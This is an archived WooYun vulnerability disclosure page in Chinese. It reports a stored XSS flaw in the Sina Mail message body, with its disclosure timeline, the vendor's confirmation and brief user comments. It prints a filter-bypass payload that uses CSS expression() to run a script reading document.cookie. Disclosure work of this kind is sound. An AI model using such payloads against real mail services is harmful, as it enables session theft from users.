当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-08492

漏洞标题：新浪邮箱正文存储型XSS

相关厂商：新浪

漏洞作者： isno

提交时间：2012-06-19 16:31

修复时间：2012-08-03 16:32

公开时间：2012-08-03 16:32

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-06-19： 细节已通知厂商并且等待厂商处理中
2012-06-19： 厂商已经确认，细节仅向厂商公开
2012-06-29： 细节向核心白帽子及相关领域专家公开
2012-07-09： 细节向普通白帽子公开
2012-07-19： 细节向实习白帽子公开
2012-08-03： 细节向公众公开

简要描述：

刚看到有人收到了新浪发的小礼物，赶紧来试试看是不是真的有。
新浪邮箱正文存储型XSS。

详细说明：

在邮件正文中发送如下HTML代码：

<a href='abc' style='"background:url(http://"\"); width:expression(alert(document.cookie));"');>


可绕过新浪邮箱的filter，导致XSS。

漏洞证明：

修复方案：

这回貌似是filter对样式表边界检查的问题，写filter的人会改。

版权声明：转载请注明来源 isno@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2012-06-19 20:36

厂商回复：

感谢提供,马上联系相关人员进行处理。

最新状态：

暂无

漏洞评价：

评论

  1. 2012-06-19 16:33 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一，一生二，二生三，三生万物，万物负...)

    什么礼物，好玩不好玩...

  2. 2012-06-19 16:33 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    是真的～～ 楼主准备收礼物吧～ ：）

  3. 2012-06-19 16:37 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一，一生二，二生三，三生万物，万物负...)

    求礼物图片

  4. 2012-06-19 16:52 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @wanglaojiu 百度搜索：“新浪大眼睛抱枕” + 新浪公仔 ，另外还有个4G U盘。

  5. 2012-06-19 17:05 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一，一生二，二生三，三生万物，万物负...)

    @gainover 看到了，不错确实很漂亮，心动了....

  6. 2012-08-03 17:30 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    要是再说说在绕过的就好了 不懂xss

  7. 2012-08-05 15:11 | icefish ( 普通白帽子 | Rank:104 漏洞数:8 | 欢迎大家和我用邮件进行交流~)

    应该css有过滤啊，怎么会出现这个问题呢，其实这个危害很大的...